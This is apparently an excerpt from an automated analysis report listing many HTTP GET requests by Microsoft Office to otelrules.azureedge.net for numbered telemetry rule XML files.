Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
